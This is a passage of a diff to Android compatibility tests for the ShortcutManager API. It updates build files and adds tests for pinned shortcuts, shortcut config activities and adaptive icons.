@@ -22,7 +22,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
@@ -42,7 +52,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
@@ -62,7 +82,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index 793fa66..0b1ff53 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -22,7 +22,17 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
+        $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/shortcutmanager/packages/src/android/content/pm/cts/shortcutmanager/packages/ShortcutConfirmPin.java b/tests/tests/shortcutmanager/packages/src/android/content/pm/cts/shortcutmanager/packages/ShortcutConfirmPin.java
new file mode 100644
index 0000000..9a2659b
--- /dev/null
+++ b/tests/tests/shortcutmanager/packages/src/android/content/pm/cts/shortcutmanager/packages/ShortcutConfirmPin.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcutmanager.packages;
+
+import android.app.Activity;
+import android.content.pm.LauncherApps;
+import android.content.pm.LauncherApps.PinItemRequest;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
+import android.graphics.drawable.Drawable;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.util.Log;
+
+import java.util.Objects;
+
+/**
+ * Activity that receives a "pin shortcut" request, and accepts automatically.
+ */
+public class ShortcutConfirmPin extends Activity {
+    private static final String TAG = "ShortcutConfirmPin";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Log.i(TAG, "ShortcutConfirmPin.onCreate");
+
+        String replyAction = null;
+        try {
+            final LauncherApps launcherApps = getSystemService(LauncherApps.class);
+            final PinItemRequest request = launcherApps.getPinItemRequest(getIntent());
+
+            // This really must be non-null; otherwise we can't send a reply.
+            final ShortcutInfo shortcut = request.getShortcutInfo();
+            if (shortcut == null) {
+                Log.e(TAG, "request.getShortcutInfo() NOT expected to be NULL");
+                return;
+            }
+
+            replyAction = shortcut.getExtras().getString(Constants.EXTRA_REPLY_ACTION);
+
+            if (!request.isValid()) {
+                ReplyUtil.sendReply(this, replyAction, "request.isValid() expected to be TRUE");
+                return;
+            }
+            if (request.getRequestType() != PinItemRequest.REQUEST_TYPE_SHORTCUT) {
+                ReplyUtil.sendReply(this, replyAction,
+                        "request.getRequestType() expected to be REQUEST_TYPE_SHORTCUT");
+                return;
+            }
+
+            if (shortcut.getExtras().getBoolean(Constants.IGNORE)) {
+                // Send a reply so that the caller can tell if the request has been sent,
+                // and ignored.
+                ReplyUtil.sendReply(this, replyAction, Constants.REQUEST_IGNORED_MESSAGE);
+                return;
+            }
+
+            // Check the shortcut's fields.
+            final boolean expectPinned = shortcut.getExtras().getBoolean(Constants.ALREADY_PINNED);
+            if (shortcut.isPinned() != expectPinned) {
+                ReplyUtil.sendReply(this, replyAction, "isPinned() expected to be " + expectPinned);
+                return;
+            }
+
+            final String expectLabel = shortcut.getExtras().getString(Constants.LABEL);
+            if (!Objects.equals(expectLabel, shortcut.getShortLabel())) {
+                ReplyUtil.sendReply(this, replyAction,
+                        "getShortLabel() expected to be '" + expectLabel + "', but was '"
+                        + shortcut.getShortLabel() + "'");
+                return;
+            }
+            final Drawable icon = launcherApps.getShortcutBadgedIconDrawable(
+                    shortcut, DisplayMetrics.DENSITY_DEFAULT);
+            if (shortcut.getExtras().getBoolean(Constants.HAS_ICON)) {
+                // Send a reply so that the caller can tell if the request has been sent,
+                // and ignored.
+                if (icon == null) {
+                    ReplyUtil.sendReply(this, replyAction, "Expected to have icon");
+                    return;
+                }
+            } else {
+                if (icon != null) {
+                    ReplyUtil.sendReply(this, replyAction, "Not expected to have icon");
+                    return;
+                }
+            }
+
+            request.accept();
+            if (request.isValid()) {
+                ReplyUtil.sendReply(this, replyAction,
+                        "request.isValid() expected to be FALSE after accept()");
+                return;
+            }
+            ReplyUtil.sendSuccessReply(this, replyAction);
+        } catch (Exception e) {
+            Log.e(TAG, "Caught exception", e);
+            if (replyAction != null) {
+                ReplyUtil.sendReply(this, replyAction, "Caught exception: " + e);
+            }
+        } finally {
+            finish();
+        }
+    }
+}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index 4a086a8..bab2674 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -357,7 +357,10 @@
                 getTestContext().getResources(), R.drawable.black_32x32));
         final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
         final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
-
+        final Icon icon5 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
+                getTestContext().getResources(), R.drawable.black_16x64));
+        final Icon icon6 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
+                getTestContext().getResources(), R.drawable.black_32x32));
         runWithCaller(mPackageContext1, () -> {
             final ShortcutInfo source = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
@@ -504,6 +507,42 @@
             assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
                     icon4);
         });
+        runWithCaller(mPackageContext1, () -> {
+            // No fields updated.
+            final ShortcutInfo updated = makeShortcutBuilder("s1")
+                    .setShortLabel("xxx")
+                    .setIntents(new Intent[]{new Intent("main").putExtra("k1", "yyy")})
+                    .setIcon(icon5)
+                    .build();
+
+            assertTrue(getManager().setDynamicShortcuts(list(updated)));
+
+            // Check each field.
+            assertWith(getManager().getDynamicShortcuts())
+                    .forShortcutWithId("s1", si ->{
+                        assertEquals("xxx", si.getShortLabel());
+                    });
+            assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
+                    icon5);
+        });
+        runWithCaller(mPackageContext1, () -> {
+            // No fields updated.
+            final ShortcutInfo updated = makeShortcutBuilder("s1")
+                    .setShortLabel("xxx")
+                    .setIntents(new Intent[]{new Intent("main").putExtra("k1", "yyy")})
+                    .setIcon(icon6)
+                    .build();
+
+            assertTrue(getManager().setDynamicShortcuts(list(updated)));
+
+            // Check each field.
+            assertWith(getManager().getDynamicShortcuts())
+                    .forShortcutWithId("s1", si ->{
+                      assertEquals("xxx", si.getShortLabel());
+                    });
+            assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
+                    icon6);
+        });
     }
 
     public void testSetDynamicShortcuts_wasPinned() throws Exception {
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
new file mode 100644
index 0000000..0614d84
--- /dev/null
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcutmanager;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.*;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.LauncherActivityInfo;
+import android.content.pm.LauncherApps.PinItemRequest;
+import android.content.pm.ShortcutInfo;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests for various APIs related to starting shortcut config activity.
+ */
+@SmallTest
+public class ShortcutManagerConfigActivityTest extends ShortcutManagerCtsTestsBase {
+
+    private static final String SHORTCUT_ID = "s12345";
+
+    private static final String CONFIG_ACTIVITY_NAME =
+            "android.content.pm.cts.shortcutmanager.main_shortcut_config";
+
+    public void testGetShortcutConfigActivityList() throws Exception {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        runWithCaller(mLauncherContext1, () -> {
+            assertNotNull(getConfigActivity());
+            assertNotNull(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity()));
+        });
+
+        // Get config activity works even for non-default activity.
+        setDefaultLauncher(getInstrumentation(), mLauncherContext4);
+
+        runWithCaller(mLauncherContext1, () -> {
+            assertNotNull(getConfigActivity());
+            // throws exception when default launcher is different.
+            assertExpectException(SecurityException.class, null, () ->
+                getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity()));
+        });
+    }
+
+    public void testCorrectIntentSenderCreated() throws Throwable {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+        final AtomicReference<IntentSender> sender = new AtomicReference<>();
+        runWithCaller(mLauncherContext1, () ->
+            sender.set(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity())));
+
+        Instrumentation.ActivityMonitor monitor =
+                getInstrumentation().addMonitor((String) null, null, false);
+
+        runTestOnUiThread(() -> {
+            try {
+                mLauncherContext1.startIntentSender(sender.get(), null, 0, 0, 0);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
+
+        // Verify that the config activity was launched with proper action.
+        Activity activity = monitor.waitForActivityWithTimeout(10000);
+        assertNotNull(activity);
+        Intent intent = activity.getIntent();
+        assertEquals(Intent.ACTION_CREATE_SHORTCUT, intent.getAction());
+        assertEquals(CONFIG_ACTIVITY_NAME, intent.getComponent().getClassName());
+        activity.finish();
+    }
+
+    public void testCreateShortcutResultIntent_defaultLauncher() throws Exception {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+        PinItemRequest request = getShortcutRequestForPackage1();
+        runWithCaller(mLauncherContext1, () -> {
+            assertTrue(request.isValid());
+            assertTrue(request.accept());
+        });
+    }
+
+    public void testCreateShortcutResultIntent_defaultChanges() throws Exception {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+        PinItemRequest request = getShortcutRequestForPackage1();
+
+        setDefaultLauncher(getInstrumentation(), mLauncherContext4);
+        // Launcher1 can still access the request
+        runWithCaller(mLauncherContext1, () -> {
+            assertTrue(request.isValid());
+            assertTrue(request.accept());
+        });
+    }
+
+    public void testCreateShortcutResultIntent_noDefault() throws Exception {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext4);
+        PinItemRequest request = getShortcutRequestForPackage1();
+
+        // Launcher1 can still access the request
+        runWithCaller(mLauncherContext1, () -> {
+            assertFalse(request.isValid());
+            assertExpectException(SecurityException.class, null, request::accept);
+        });
+    }
+
+    private PinItemRequest getShortcutRequestForPackage1() {
+        final AtomicReference<PinItemRequest> result = new AtomicReference<>();
+        runWithCaller(mPackageContext1, () -> {
+            final ShortcutInfo shortcut = makeShortcutBuilder(SHORTCUT_ID)
+                    .setShortLabel("label1")
+                    .setIntent(new Intent(Intent.ACTION_MAIN))
+                    .build();
+            Intent intent = getManager().createShortcutResultIntent(shortcut);
+            assertNotNull(intent);
+            PinItemRequest request = getLauncherApps().getPinItemRequest(intent);
+            assertNotNull(request);
+            assertEquals(PinItemRequest.REQUEST_TYPE_SHORTCUT, request.getRequestType());
+            assertEquals(SHORTCUT_ID, request.getShortcutInfo().getId());
+            result.set(request);
+        });
+        return result.get();
+    }
+
+    private LauncherActivityInfo getConfigActivity() {
+        for (LauncherActivityInfo info : getLauncherApps().getShortcutConfigActivityList(
+                getTestContext().getPackageName(), getUserHandle())) {
+            if (CONFIG_ACTIVITY_NAME.equals(info.getComponentName().getClassName())) {
+                return info;
+            }
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
index 0242b41..1f45a7f 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
@@ -28,6 +28,7 @@
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
 import android.content.res.Resources;
+import android.graphics.drawable.AdaptiveIconDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Icon;
 import android.os.Bundle;
@@ -63,8 +64,6 @@
         }
     }
 
-    protected static final SecureRandom sRandom = new SecureRandom();
-
     private Context mCurrentCallerPackage;
     private int mUserId;
     private UserHandle mUserHandle;
@@ -480,6 +479,9 @@
         }
         final Drawable expected = expectedIcon.loadDrawable(getTestContext());
 
+        if (expected instanceof AdaptiveIconDrawable) {
+            assertTrue(actual instanceof AdaptiveIconDrawable);
+        }
         assertEquals(expected.getIntrinsicWidth(), actual.getIntrinsicWidth());
         assertEquals(expected.getIntrinsicHeight(), actual.getIntrinsicHeight());
     }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index 177ce5e..691afe0 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -342,4 +342,35 @@
         assertIconDimensions(icon5, getIconAsLauncher(
                 mLauncherContext1, mPackageContext1.getPackageName(), "ms21", false));
     }
+
+    public void testGetShortcutIconAdaptive() throws Exception {
+        final Icon icon1 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
+            getTestContext().getResources(), R.drawable.black_16x64));
+        final Icon icon2 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
+            getTestContext().getResources(), R.drawable.black_32x32));
+
+        runWithCaller(mPackageContext1, () -> {
+            enableManifestActivity("Launcher_manifest_2", true);
+
+            retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
+                "Manifest shortcuts didn't show up");
+
+            assertTrue(getManager().setDynamicShortcuts(list(
+                makeShortcutWithIcon("s1", icon1),
+                makeShortcutWithIcon("s2", icon2))));
+        });
+
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        assertIconDimensions(icon1, getIconAsLauncher(
+            mLauncherContext1, mPackageContext1.getPackageName(), "s1", true));
+        assertIconDimensions(icon2, getIconAsLauncher(
+            mLauncherContext1, mPackageContext1.getPackageName(), "s2", true));
+
+
+        assertIconDimensions(icon1, getIconAsLauncher(
+            mLauncherContext1, mPackageContext1.getPackageName(), "s1", false));
+        assertIconDimensions(icon2, getIconAsLauncher(
+            mLauncherContext1, mPackageContext1.getPackageName(), "s2", false));
+    }
 }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java
index 758b0fd..b95599e 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherCallbackTest.java
@@ -32,6 +32,8 @@
 import com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.ShortcutListAsserter;
 
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
 import java.util.List;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.Predicate;
@@ -40,10 +42,15 @@
 public class ShortcutManagerLauncherCallbackTest extends ShortcutManagerCtsTestsBase {
 
     private static class MyCallback extends LauncherApps.Callback {
+        private final HashSet<String> mInterestedPackages = new HashSet<String>();
         private boolean called;
         private String lastPackage;
         private final List<ShortcutInfo> lastShortcuts = new ArrayList<>();
 
+        public MyCallback(String... interestedPackages) {
+            mInterestedPackages.addAll(Arrays.asList(interestedPackages));
+        }
+
         @Override
         public void onPackageRemoved(String packageName, UserHandle user) {
         }
@@ -68,6 +75,10 @@
         @Override
         public synchronized void onShortcutsChanged(
                 String packageName, List<ShortcutInfo> shortcuts, UserHandle user) {
+            if (!mInterestedPackages.contains(packageName)) {
+                return; // Ignore other packages.
+            }
+
             final StringBuilder sb = new StringBuilder();
             for (ShortcutInfo si : shortcuts) {
                 if (sb.length() > 0) {
@@ -120,7 +131,7 @@
     }
 
     public void testCallbacks() {
-        final MyCallback c = new MyCallback();
+        final MyCallback c = new MyCallback(mPackageContext1.getPackageName());
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java
index c711518..0fca1fa 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerNegativeTest.java
@@ -22,6 +22,7 @@
 import android.content.pm.ShortcutManager;
 import android.test.MoreAsserts;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
 import java.io.BufferedReader;
@@ -127,16 +128,9 @@
     }
 
     /**
-     * Make sure dumpsys shortcut can't be called.
-     */
-    public void testDump() throws Exception {
-        MoreAsserts.assertContainsRegex(
-                "can't dump by this caller", runCommand("dumpsys shortcut"));
-    }
-
-    /**
      * Make sure cmd shortcut can't be called.
      */
+    @Suppress // calling "cmd shortcut" from this UID seems to hang now.
     public void testCommand() throws Exception {
         runWithCaller(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
new file mode 100644
index 0000000..34ce2d5
--- /dev/null
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcutmanager;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.retryUntil;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+
+import android.content.Intent;
+import android.content.pm.LauncherApps.ShortcutQuery;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
+import android.os.PersistableBundle;
+import android.util.Log;
+
+import java.util.List;
+
+public class ShortcutManagerRequestPinTest extends ShortcutManagerCtsTestsBase {
+    private static final String TAG = "ShortcutMRPT";
+
+    public void testIsRequestPinShortcutSupported() {
+
+        // Launcher 1 supports it.
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        runWithCaller(mPackageContext1, () -> {
+            assertTrue(getManager().isRequestPinShortcutSupported());
+        });
+
+        // Launcher 4 does *not* supports it.
+        setDefaultLauncher(getInstrumentation(), mLauncherContext4);
+
+        runWithCaller(mPackageContext1, () -> {
+            assertFalse(getManager().isRequestPinShortcutSupported());
+        });
+    }
+
+    /**
+     * A test for {@link ShortcutManager#requestPinShortcut}, a very simple case.
+     */
+    public void testRequestPinShortcut() {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        final String SHORTCUT_ID = "s12345";
+
+        runWithCaller(mPackageContext1, () -> {
+            assertTrue(getManager().isRequestPinShortcutSupported());
+
+            ReplyUtil.invokeAndWaitForReply(getTestContext(), (replyAction) -> {
+                final PersistableBundle extras = new PersistableBundle();
+                extras.putString(Constants.EXTRA_REPLY_ACTION, replyAction);
+                extras.putString(Constants.LABEL, "label1");
+
+                final ShortcutInfo shortcut = makeShortcutBuilder(SHORTCUT_ID)
+                        .setShortLabel("label1")
+                        .setIntent(new Intent(Intent.ACTION_MAIN))
+                        .setExtras(extras)
+                        .build();
+
+                Log.i(TAG, "Calling requestPinShortcut...");
+                assertTrue(getManager().requestPinShortcut(shortcut, /* intent sender */ null));
+                Log.i(TAG, "Done.");
+            });
+        });
+        runWithCaller(mLauncherContext1, () -> {
+            final ShortcutQuery query = new ShortcutQuery()
+                    .setPackage(mPackageContext1.getPackageName())
+                    .setShortcutIds(list(SHORTCUT_ID))
+                    .setQueryFlags(ShortcutQuery.FLAG_MATCH_DYNAMIC
+                            | ShortcutQuery.FLAG_MATCH_PINNED | ShortcutQuery.FLAG_MATCH_MANIFEST);
+            Log.i(TAG, "Waiting for shortcut to be visible to launcher...");
+            retryUntil(() -> {
+                final List<ShortcutInfo> shortcuts = getLauncherApps().getShortcuts(query,
+                        android.os.Process.myUserHandle());
+                if (shortcuts == null) {
+                    // Launcher not responded yet.
+                    return false;
+                }
+                assertWith(shortcuts)
+                        .haveIds(SHORTCUT_ID)
+                        .areAllPinned()
+                        .areAllNotDynamic()
+                        .areAllNotManifest();
+                return true;
+            }, "Shortcut still not pinned");
+        });
+    }
+
+    // TODO Various other cases (already pinned, etc)
+    // TODO Various error cases (missing mandatory fields, etc)
+}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
index 3eb42cf..55afe48 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
@@ -19,15 +19,12 @@
 import static android.content.pm.cts.shortcutmanager.common.Constants.INLINE_REPLY_REMOTE_INPUT_CAPTION;
 
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetThrottling;
-import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.retryUntil;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.runCommandForNoOutput;
 
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
@@ -36,8 +33,6 @@
 import android.test.suitebuilder.annotation.Suppress;
 import android.view.KeyEvent;
 
-import java.util.concurrent.atomic.AtomicReference;
-
 /**
  * The actual test is implemented in the CtsShortcutManagerThrottlingTest module.
  * This class uses broadcast receivers to communicate with it, because if we just used an
@@ -52,45 +47,14 @@
             "android.content.pm.cts.shortcutmanager.throttling";
 
     private void callTest(String method) {
-
-        final AtomicReference<Intent> ret = new AtomicReference<>();
-
-        // Register the reply receiver
-
-        // Use a random reply action every time.
-        final String replyAction = Constants.ACTION_THROTTLING_REPLY + sRandom.nextLong();
-        final IntentFilter filter = new IntentFilter(replyAction);
-
-        final BroadcastReceiver r = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                ret.set(intent);
-            }
-        };
-
-        getTestContext().registerReceiver(r, filter);
-
-        try {
-            // Send the request broadcast.
-
+        ReplyUtil.invokeAndWaitForReply(getTestContext(), (replyAction) -> {
             final Intent i = new Intent(Constants.ACTION_THROTTLING_TEST);
             i.putExtra(Constants.EXTRA_METHOD, method);
             i.putExtra(Constants.EXTRA_REPLY_ACTION, replyAction);
             i.setComponent(ComponentName.unflattenFromString(
                     TARGET_PACKAGE + "/.ShortcutManagerThrottlingTestReceiver"));
             getTestContext().sendBroadcast(i);
-
-            // Wait for the response.
-            retryUntil(() -> ret.get() != null, "Didn't receive result broadcast",
-                    120); // Wait much longer
-
-            if (ret.get().getExtras().getBoolean("success")) {
-                return;
-            }
-            fail(ret.get().getExtras().getString("error"));
-        } finally {
-            getTestContext().unregisterReceiver(r);
-        }
+        });
     }
 
     @Override
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
index 6ca946e..064ba58 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
@@ -23,6 +23,7 @@
 import android.app.usage.UsageEvents;
 import android.app.usage.UsageEvents.Event;
 import android.app.usage.UsageStatsManager;
+import android.content.pm.cts.shortcutmanager.common.Constants;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.text.format.Time;
 
@@ -54,7 +55,7 @@
         Time tobj = new Time();
         tobj.set(System.currentTimeMillis());
         return tobj.format("%Y-%m-%d %H:%M:%S") + "." + signature + "."
-                + sRandom.nextLong();
+                + Constants.sRandom.nextLong();
     }
 
     private boolean hasEvent(UsageEvents events, String packageName, String id) {
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index 4af2d7c..7e6d869 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/BgService.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/BgService.java
index fbf8079..a6468ef 100644
